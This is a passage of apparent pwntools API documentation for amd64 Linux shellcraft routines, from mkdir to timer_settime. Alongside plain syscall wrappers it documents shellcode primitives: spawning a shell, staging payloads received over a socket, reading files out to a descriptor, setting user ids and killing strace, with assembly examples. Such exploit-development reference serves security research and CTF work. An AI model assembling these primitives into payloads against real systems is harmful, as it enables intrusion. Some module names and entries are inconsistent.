`pwnlib.shellcraft.amd64.linux.mkdir` (*path, mode*)
Invokes the syscall `mkdir`. See ‘man 2 `mkdir`’ for more information.

Parameters

- **path** (*char*) – path

- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.amd64.linux.mkdirat` (*fd, path, mode*)

Invokes the syscall `mkdirat`. See ‘man 2 `mkdirat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.amd64.linux.mknod` (*path, mode, dev*)

Invokes the syscall `mknod`. See ‘man 2 `mknod`’ for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.amd64.linux.mknodat` (*fd, path, mode, dev*)

Invokes the syscall `mknodat`. See ‘man 2 `mknodat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.amd64.linux.mlock` (*addr, length*)

Invokes the syscall `mlock`. See ‘man 2 `mlock`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.amd64.linux.mlockall` (*flags*)

Invokes the syscall `mlockall`. See ‘man 2 `mlockall`’ for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.mmap` (*addr=0, length=4096, prot=7, flags=34, fd=-1, offset=0*)

Invokes the syscall `mmap`. See ‘man 2 `mmap`’ for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot
- **flags** (*int*) – flags
- **fd** (*int*) – fd
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.amd64.linux.mmap_rwx` (*size=4096, protection=7, address=None*)

Maps some memory

`pwnlib.shellcraft.amd64.linux.mov` (*dest, src, stack_allowed=True*)

Thin wrapper around `pwnlib.shellcraft.amd64.mov()`, which sets `context.os` to `'linux'` before calling.

Example

```
>>> print(pwnlib.shellcraft.amd64.linux.mov('eax', 'SYS_execve').rstrip())
push (SYS_execve) /* 0x3b */
pop rax
```

`pwnlib.shellcraft.amd64.linux.mprotect` (*addr, length, prot*)

Invokes the syscall `mprotect`. See `'man 2 mprotect'` for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot

`pwnlib.shellcraft.amd64.linux.mq_notify` (*mqdes, notification*)

Invokes the syscall `mq_notify`. See `'man 2 mq_notify'` for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **notification** (*sigevent*) – notification

`pwnlib.shellcraft.amd64.linux.mq_open` (*name, oflag, vararg*)

Invokes the syscall `mq_open`. See `'man 2 mq_open'` for more information.

Parameters

- **name** (*char*) – name
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.mq_timedreceive` (*mqdes, msg_ptr, msg_len, msg_prio, abs_timeout*)

Invokes the syscall `mq_timedreceive`. See `'man 2 mq_timedreceive'` for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

`pwnlib.shellcraft.amd64.linux.mq_timedsend` (*mqdes, msg_ptr, msg_len, msg_prio, abs_timeout*)

Invokes the syscall `mq_timedsend`. See `'man 2 mq_timedsend'` for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes

- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

`pwntools.shellcraft.amd64.linux.mq_unlink` (*name*)

Invokes the syscall `mq_unlink`. See ‘man 2 mq_unlink’ for more information.

Parameters **name** (*char*) – name

`pwntools.shellcraft.amd64.linux.mremap` (*addr, old_len, new_len, flags, vararg*)

Invokes the syscall `mremap`. See ‘man 2 mremap’ for more information.

Parameters

- **addr** (*void*) – addr
- **old_len** (*size_t*) – old_len
- **new_len** (*size_t*) – new_len
- **flags** (*int*) – flags
- **vararg** (*int*) – vararg

`pwntools.shellcraft.amd64.linux.msync` (*addr, length, flags*)

Invokes the syscall `msync`. See ‘man 2 msync’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **flags** (*int*) – flags

`pwntools.shellcraft.amd64.linux.munlock` (*addr, length*)

Invokes the syscall `munlock`. See ‘man 2 munlock’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwntools.shellcraft.amd64.linux.munlockall` ()

Invokes the syscall `munlockall`. See ‘man 2 munlockall’ for more information.

Arguments:

`pwntools.shellcraft.amd64.linux.munmap` (*addr, length*)

Invokes the syscall `munmap`. See ‘man 2 munmap’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwntools.shellcraft.amd64.linux.nanosleep` (*requested_time, remaining*)

Invokes the syscall `nanosleep`. See ‘man 2 nanosleep’ for more information.

Parameters

- **requested_time** (*timespec*) – requested_time

- **remaining** (*timespec*) – remaining

`pwnlib.shellcraft.amd64.linux.nice` (*inc*)

Invokes the syscall nice. See ‘man 2 nice’ for more information.

Parameters `inc` (*int*) – inc

`pwnlib.shellcraft.amd64.linux.open` (*file, oflag, vararg*)

Invokes the syscall open. See ‘man 2 open’ for more information.

Parameters

- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.openat` (*fd, file, oflag, vararg*)

Invokes the syscall openat. See ‘man 2 openat’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.pause` ()

Invokes the syscall pause. See ‘man 2 pause’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.pipe` (*pipedes*)

Invokes the syscall pipe. See ‘man 2 pipe’ for more information.

Parameters `pipedes` (*int*) – pipedes

`pwnlib.shellcraft.amd64.linux.pipe2` (*pipedes, flags*)

Invokes the syscall pipe2. See ‘man 2 pipe2’ for more information.

Parameters

- **pipedes** (*int*) – pipedes
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.poll` (*fds, nfds, timeout*)

Invokes the syscall poll. See ‘man 2 poll’ for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*int*) – timeout

`pwnlib.shellcraft.amd64.linux.ppoll` (*fds, nfds, timeout, ss*)

Invokes the syscall ppoll. See ‘man 2 ppoll’ for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds

- **timeout** (*timespec*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.amd64.linux.**prctl** (*option, *vararg*)
Invokes the syscall prctl. See ‘man 2 prctl’ for more information.

Parameters

- **option** (*int*) – option
- **vararg** (*int*) – vararg

pwnlib.shellcraft.amd64.linux.**pread** (*fd, buf, nbytes, offset*)
Invokes the syscall pread. See ‘man 2 pread’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes
- **offset** (*off_t*) – offset

pwnlib.shellcraft.amd64.linux.**preadv** (*fd, iovec, count, offset*)
Invokes the syscall preadv. See ‘man 2 preadv’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

pwnlib.shellcraft.amd64.linux.**prlimit64** (*pid, resource, new_limit, old_limit*)
Invokes the syscall prlimit64. See ‘man 2 prlimit64’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **resource** (*rlimit_resource*) – resource
- **new_limit** (*rlimit64*) – new_limit
- **old_limit** (*rlimit64*) – old_limit

pwnlib.shellcraft.amd64.linux.**profil** (*sample_buffer, size, offset, scale*)
Invokes the syscall profil. See ‘man 2 profil’ for more information.

Parameters

- **sample_buffer** (*unsigned*) – sample_buffer
- **size** (*size_t*) – size
- **offset** (*size_t*) – offset
- **scale** (*unsigned*) – scale

pwnlib.shellcraft.amd64.linux.**ptrace** (*request, *vararg*)
Invokes the syscall ptrace. See ‘man 2 ptrace’ for more information.

Parameters

- **request** (*ptrace_request*) – request
- **vararg** (*int*) – vararg

`pwntools.shellcraft.amd64.linux.push` (*value*)

Thin wrapper around `pwntools.shellcraft.amd64.push()`, which sets `context.os` to `'linux'` before calling.

Example

```
>>> print(pwntools.shellcraft.amd64.linux.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
push 0x3b
```

`pwntools.shellcraft.amd64.linux.putpmsg` (*filides*, *ctlptr*, *dataptr*, *band*, *flags*)

Invokes the syscall `putpmsg`. See `'man 2 putpmsg'` for more information.

Parameters

- **filides** (*int*) – filides
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **band** (*int*) – band
- **flags** (*int*) – flags

`pwntools.shellcraft.amd64.linux.pwrite` (*fd*, *buf*, *n*, *offset*)

Invokes the syscall `pwrite`. See `'man 2 pwrite'` for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **offset** (*off_t*) – offset

`pwntools.shellcraft.amd64.linux.pwritev` (*fd*, *iovec*, *count*, *offset*)

Invokes the syscall `pwritev`. See `'man 2 pwritev'` for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwntools.shellcraft.amd64.linux.read` (*fd=0*, *buffer='rsp'*, *count=8*)

Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.

`pwntools.shellcraft.amd64.linux.read_upto` (*fd=0*, *buffer='rsp'*, *sizereg='rdx'*)

Reads up to N bytes 8 bytes into the specified register

`pwntools.shellcraft.amd64.linux.readahead` (*fd*, *offset*, *count*)

Invokes the syscall `readahead`. See `'man 2 readahead'` for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.amd64.linux.readdir` (*dirp*)

Invokes the syscall `readdir`. See ‘man 2 `readdir`’ for more information.

Parameters `dirp` (*DIR*) – `dirp`

`pwnlib.shellcraft.amd64.linux.readfile` (*path, dst='rdi'*)

Args: [`path, dst (imm/reg) = rdi`] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.readinto` (*sock=0*)

Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.readlink` (*path, buf, length*)

Invokes the syscall `readlink`. See ‘man 2 `readlink`’ for more information.

Parameters

- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.amd64.linux.readlinkat` (*fd, path, buf, length*)

Invokes the syscall `readlinkat`. See ‘man 2 `readlinkat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.amd64.linux.readloop` (*sock=0*)

Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.readn` (*fd, buf, nbytes*)

Reads exactly `nbytes` bytes from file descriptor `fd` into the buffer `buf`.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.amd64.linux.readptr` (*fd=0, target_reg='rdx'*)

Reads 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.readv` (*fd, iovec, count*)

Invokes the syscall `readv`. See ‘man 2 `readv`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec

- **count** (*int*) – count

`pwnlib.shellcraft.amd64.linux.recv` (*fd, buf, n, flags*)

Invokes the syscall `recv`. See ‘man 2 `recv`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.recvfrom` (*fd, buf, n, flags, addr, addr_len*)

Invokes the syscall `recvfrom`. See ‘man 2 `recvfrom`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.amd64.linux.recvmsg` (*fd, vmessages, vlen, flags, tmo*)

Invokes the syscall `recvmsg`. See ‘man 2 `recvmsg`’ for more information.

Parameters

- **fd** (*int*) – fd
- **vmessages** (*mmsg_hdr*) – vmessages
- **vlen** (*unsigned*) – vlen
- **flags** (*int*) – flags
- **tmo** (*timespec*) – tmo

`pwnlib.shellcraft.amd64.linux.recvmsg` (*fd, message, flags*)

Invokes the syscall `recvmsg`. See ‘man 2 `recvmsg`’ for more information.

Parameters

- **fd** (*int*) – fd
- **message** (*msg_hdr*) – message
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.recvsize` (*sock, reg='rcx'*)

Recives 4 bytes size field Useful in conjunction with `findpeer` and `stager` :param `sock`, the socket to read the payload from.: :param `reg`, the place to put the size: :type `reg`, the place to put the size: default `ecx`

Leaves socket in `ebx`

`pwnlib.shellcraft.amd64.linux.remap_file_pages` (*start, size, prot, pgoff, flags*)

Invokes the syscall `remap_file_pages`. See ‘man 2 `remap_file_pages`’ for more information.

Parameters

- **start** (*void*) – start
- **size** (*size_t*) – size
- **prot** (*int*) – prot
- **pgoff** (*size_t*) – pgoff
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.rename` (*old, new*)

Invokes the syscall `rename`. See ‘man 2 `rename`’ for more information.

Parameters

- **old** (*char*) – old
- **new** (*char*) – new

`pwnlib.shellcraft.amd64.linux.renameat` (*oldd, old, newfd, new*)

Invokes the syscall `renameat`. See ‘man 2 `renameat`’ for more information.

Parameters

- **oldd** (*int*) – oldfd
- **old** (*char*) – old
- **newfd** (*int*) – newfd
- **new** (*char*) – new

`pwnlib.shellcraft.amd64.linux.rmdir` (*path*)

Invokes the syscall `rmdir`. See ‘man 2 `rmdir`’ for more information.

Parameters *path* (*char*) – path

`pwnlib.shellcraft.amd64.linux.sched_get_priority_max` (*algorithm*)

Invokes the syscall `sched_get_priority_max`. See ‘man 2 `sched_get_priority_max`’ for more information.

Parameters *algorithm* (*int*) – algorithm

`pwnlib.shellcraft.amd64.linux.sched_get_priority_min` (*algorithm*)

Invokes the syscall `sched_get_priority_min`. See ‘man 2 `sched_get_priority_min`’ for more information.

Parameters *algorithm* (*int*) – algorithm

`pwnlib.shellcraft.amd64.linux.sched_getaffinity` (*pid, cpusetsize, cpuset*)

Invokes the syscall `sched_getaffinity`. See ‘man 2 `sched_getaffinity`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

`pwnlib.shellcraft.amd64.linux.sched_getparam` (*pid, param*)

Invokes the syscall `sched_getparam`. See ‘man 2 `sched_getparam`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

`pwnlib.shellcraft.amd64.linux.sched_getscheduler` (*pid*)

Invokes the syscall `sched_getscheduler`. See ‘man 2 `sched_getscheduler`’ for more information.

Parameters `pid` (*pid_t*) – pid

`pwnlib.shellcraft.amd64.linux.sched_rr_get_interval` (*pid, t*)

Invokes the syscall `sched_rr_get_interval`. See ‘man 2 `sched_rr_get_interval`’ for more information.

Parameters

- `pid` (*pid_t*) – pid
- `t` (*timespec*) – t

`pwnlib.shellcraft.amd64.linux.sched_setaffinity` (*pid, cpusetsize, cpuset*)

Invokes the syscall `sched_setaffinity`. See ‘man 2 `sched_setaffinity`’ for more information.

Parameters

- `pid` (*pid_t*) – pid
- `cpusetsize` (*size_t*) – cpusetsize
- `cpuset` (*cpu_set_t*) – cpuset

`pwnlib.shellcraft.amd64.linux.sched_setparam` (*pid, param*)

Invokes the syscall `sched_setparam`. See ‘man 2 `sched_setparam`’ for more information.

Parameters

- `pid` (*pid_t*) – pid
- `param` (*sched_param*) – param

`pwnlib.shellcraft.amd64.linux.sched_setscheduler` (*pid, policy, param*)

Invokes the syscall `sched_setscheduler`. See ‘man 2 `sched_setscheduler`’ for more information.

Parameters

- `pid` (*pid_t*) – pid
- `policy` (*int*) – policy
- `param` (*sched_param*) – param

`pwnlib.shellcraft.amd64.linux.sched_yield` ()

Invokes the syscall `sched_yield`. See ‘man 2 `sched_yield`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.select` (*nfds, readfds, writefds, exceptfds, timeout*)

Invokes the syscall `select`. See ‘man 2 `select`’ for more information.

Parameters

- `nfds` (*int*) – nfds
- `readfds` (*fd_set*) – readfds
- `writefds` (*fd_set*) – writefds
- `exceptfds` (*fd_set*) – exceptfds
- `timeout` (*timeval*) – timeout

`pwnlib.shellcraft.amd64.linux.sendfile` (*out_fd, in_fd, offset, count*)

Invokes the syscall `sendfile`. See ‘man 2 `sendfile`’ for more information.

Parameters

- `out_fd` (*int*) – out_fd

- **in_fd** (*int*) – in_fd
- **offset** (*off_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.amd64.linux.sendfile64` (*out_fd, in_fd, offset, count*)

Invokes the syscall `sendfile64`. See ‘man 2 `sendfile64`’ for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.amd64.linux.setdomainname` (*name, length*)

Invokes the syscall `setdomainname`. See ‘man 2 `setdomainname`’ for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.amd64.linux.setgid` (*gid*)

Invokes the syscall `setgid`. See ‘man 2 `setgid`’ for more information.

Parameters **gid** (*gid_t*) – gid

`pwnlib.shellcraft.amd64.linux.setgroups` (*n, groups*)

Invokes the syscall `setgroups`. See ‘man 2 `setgroups`’ for more information.

Parameters

- **n** (*size_t*) – n
- **groups** (*gid_t*) – groups

`pwnlib.shellcraft.amd64.linux.sethostname` (*name, length*)

Invokes the syscall `sethostname`. See ‘man 2 `sethostname`’ for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.amd64.linux.setitimer` (*which, new, old*)

Invokes the syscall `setitimer`. See ‘man 2 `setitimer`’ for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **new** (*itimerval*) – new
- **old** (*itimerval*) – old

`pwnlib.shellcraft.amd64.linux.setpgid` (*pid, pgid*)

Invokes the syscall `setpgid`. See ‘man 2 `setpgid`’ for more information.

Parameters

- **pid** (*pid_t*) – pid

- **pgid** (*pid_t*) – pgid

`pwnlib.shellcraft.amd64.linux.setpriority` (*which, who, prio*)
 Invokes the syscall `setpriority`. See ‘man 2 `setpriority`’ for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who
- **prio** (*int*) – prio

`pwnlib.shellcraft.amd64.linux.setregid` (*gid='egid'*)
 Args: [`gid` (`imm/reg`) = `egid`] Sets the real and effective group id.

`pwnlib.shellcraft.amd64.linux.setresgid` (*rgid, egid, sgid*)
 Invokes the syscall `setresgid`. See ‘man 2 `setresgid`’ for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

`pwnlib.shellcraft.amd64.linux.setresuid` (*ruid, euid, suid*)
 Invokes the syscall `setresuid`. See ‘man 2 `setresuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

`pwnlib.shellcraft.amd64.linux.setreuid` (*uid='euid'*)
 Args: [`uid` (`imm/reg`) = `euid`] Sets the real and effective user id.

`pwnlib.shellcraft.amd64.linux.setrlimit` (*resource, rlimits*)
 Invokes the syscall `setrlimit`. See ‘man 2 `setrlimit`’ for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

`pwnlib.shellcraft.amd64.linux.setsid` ()
 Invokes the syscall `setsid`. See ‘man 2 `setsid`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.setsockopt` (*sockfd, level, optname, optval, optlen*)
 Invokes the syscall `setsockopt`. See ‘man 2 `setsockopt`’ for more information.

Parameters

- **sockfd** (*int*) – sockfd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*int*) – optlen

`pwnlib.shellcraft.amd64.linux.setsockopt_timeout(sock, secs)`

Invokes the syscall for `setsockopt` to set a timeout on a socket in seconds. See ‘man 2 `setsockopt`’ for more information.

Parameters

- **sock** (*int*) – sock
- **secs** (*int*) – secs

`pwnlib.shellcraft.amd64.linux.settimeofday(tv, tz)`

Invokes the syscall `settimeofday`. See ‘man 2 `settimeofday`’ for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone*) – tz

`pwnlib.shellcraft.amd64.linux.setuid(uid)`

Invokes the syscall `setuid`. See ‘man 2 `setuid`’ for more information.

Parameters **uid** (*uid_t*) – uid

`pwnlib.shellcraft.amd64.linux.sh()`

Execute a different process.

```
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.sigaction(sig, act, oact)`

Invokes the syscall `sigaction`. See ‘man 2 `sigaction`’ for more information.

Parameters

- **sig** (*int*) – sig
- **act** (*sigaction*) – act
- **oact** (*sigaction*) – oact

`pwnlib.shellcraft.amd64.linux.sigaltstack(ss, oss)`

Invokes the syscall `sigaltstack`. See ‘man 2 `sigaltstack`’ for more information.

Parameters

- **ss** (*sigaltstack*) – ss
- **oss** (*sigaltstack*) – oss

`pwnlib.shellcraft.amd64.linux.signal(sig, handler)`

Invokes the syscall `signal`. See ‘man 2 `signal`’ for more information.

Parameters

- **sig** (*int*) – sig
- **handler** (*sighandler_t*) – handler

`pwnlib.shellcraft.amd64.linux.sigpending(set)`

Invokes the syscall `sigpending`. See ‘man 2 `sigpending`’ for more information.

Parameters **set** (*sigset_t*) – set

`pwnlib.shellcraft.amd64.linux.sigprocmask` (*how, set, oset, sigsetsize*)
 Invokes the syscall `sigprocmask`. See ‘man 2 `sigprocmask`’ for more information.

Parameters

- **how** (*int*) – how
- **set** (*sigset_t*) – set
- **oset** (*sigset_t*) – oset
- **sigsetsize** (*size_t*) – sigsetsize

`pwnlib.shellcraft.amd64.linux.sigreturn` ()
 Invokes the syscall `sigreturn`. See ‘man 2 `sigreturn`’ for more information.

`pwnlib.shellcraft.amd64.linux.sigsuspend` (*set*)
 Invokes the syscall `sigsuspend`. See ‘man 2 `sigsuspend`’ for more information.

Parameters **set** (*sigset_t*) – set

`pwnlib.shellcraft.amd64.linux.socket` (*network='ipv4', proto='tcp'*)
 Creates a new socket

`pwnlib.shellcraft.amd64.linux.splice` (*fdin, offin, fdout, offout, length, flags*)
 Invokes the syscall `splice`. See ‘man 2 `splice`’ for more information.

Parameters

- **fdin** (*int*) – fdin
- **offin** (*off64_t*) – offin
- **fdout** (*int*) – fdout
- **offout** (*off64_t*) – offout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.amd64.linux.stage` (*fd=0, length=None*)
 Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is `stdin` (0).
- **length** (*int*) – Optional buffer length. If `None`, the first pointer-width of data received is the length.

Example

```

>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.stager` (*sock, size, handle_error=False*)
 Recives a fixed sized payload into a mmaped buffer Useful in conjunction with `findpeer`. After running the socket will be left in RDI. :param sock, the socket to read the payload from.: :param size, the size of the payload:

`pwnlib.shellcraft.amd64.linux.stat` (*file, buf*)

Invokes the syscall `stat`. See ‘man 2 stat’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.amd64.linux.stat64` (*file, buf*)

Invokes the syscall `stat64`. See ‘man 2 stat64’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.amd64.linux.stime` (*when*)

Invokes the syscall `stime`. See ‘man 2 stime’ for more information.

Parameters **when** (*time_t*) – when

`pwnlib.shellcraft.amd64.linux.strace_dos` ()

Kills `strace`

`pwnlib.shellcraft.amd64.linux.stty` (*fd, params*)

Invokes the syscall `stty`. See ‘man 2 stty’ for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.amd64.linux.symlink` (*from_, to*)

Invokes the syscall `symlink`. See ‘man 2 symlink’ for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.amd64.linux.symlinkat` (*from_, tofd, to*)

Invokes the syscall `symlinkat`. See ‘man 2 symlinkat’ for more information.

Parameters

- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to

`pwnlib.shellcraft.amd64.linux.sync` ()

Invokes the syscall `sync`. See ‘man 2 sync’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.sync_file_range` (*fd, offset, count, flags*)

Invokes the syscall `sync_file_range`. See ‘man 2 sync_file_range’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset

- **count** (*off64_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.amd64.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip())
/* call execve(1, 'rsp', 2, 0) */
xor r10d, r10d /* 0 */
push (SYS_execve) /* 0x3b */
pop rax
push 1
pop rdi
push 2
pop rdx
mov rsi, rsp
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).rstrip())
/* call execve(2, 1, 0, -1) */
push -1
pop r10
push (SYS_execve) /* 0x3b */
pop rax
push 2
pop rdi
push 1
pop rsi
cdq /* rdx=0 */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall().rstrip())
/* call syscall() */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip())
/* call syscall('rax', 'rdi', 'rsi') */
/* setregs noop */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip())
/* call syscall('rbp', ?, ?, 1) */
mov rax, rbp
push 1
pop rdx
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall(
...     'SYS_mmap', 0, 0x1000,
...     'PROT_READ | PROT_WRITE | PROT_EXEC',
...     'MAP_PRIVATE | MAP_ANONYMOUS',
...     -1, 0).rstrip())
/* call mmap(0, 4096, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -
push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
pop r10
push -1
pop r8
```

```
xor r9d, r9d /* 0 */
push (SYS_mmap) /* 9 */
pop rax
xor edi, edi /* 0 */
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rdx
mov esi, 0x1010101 /* 4096 == 0x1000 */
xor esi, 0x1011101
syscall
```

`pwnlib.shellcraft.amd64.linux.syslog` (*pri*, *fmt*, *vararg*)

Invokes the syscall `syslog`. See ‘man 2 `syslog`’ for more information.

Parameters

- **pri** (*int*) – pri
- **fmt** (*char*) – fmt
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.tee` (*fdin*, *fdout*, *length*, *flags*)

Invokes the syscall `tee`. See ‘man 2 `tee`’ for more information.

Parameters

- **fdin** (*int*) – fdin
- **fdout** (*int*) – fdout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.amd64.linux.time` (*timer*)

Invokes the syscall `time`. See ‘man 2 `time`’ for more information.

Parameters **timer** (*time_t*) – timer

`pwnlib.shellcraft.amd64.linux.timer_create` (*clock_id*, *evp*, *timerid*)

Invokes the syscall `timer_create`. See ‘man 2 `timer_create`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **evp** (*sigevent*) – evp
- **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.amd64.linux.timer_delete` (*timerid*)

Invokes the syscall `timer_delete`. See ‘man 2 `timer_delete`’ for more information.

Parameters **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.amd64.linux.timer_getoverrun` (*timerid*)

Invokes the syscall `timer_getoverrun`. See ‘man 2 `timer_getoverrun`’ for more information.

Parameters **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.amd64.linux.timer_gettime` (*timerid*, *value*)

Invokes the syscall `timer_gettime`. See ‘man 2 `timer_gettime`’ for more information.

Parameters

- **timerid** (*timer_t*) – timerid

- **value** (*itimerspec*) – value

`pwnlib.shellcraft.amd64.linux.timer_settime` (*timerid, flags, value, ovalue*)
 Invokes the syscall `timer_settime`. See ‘man 2 `timer_settime`’ for more information.

Parameters

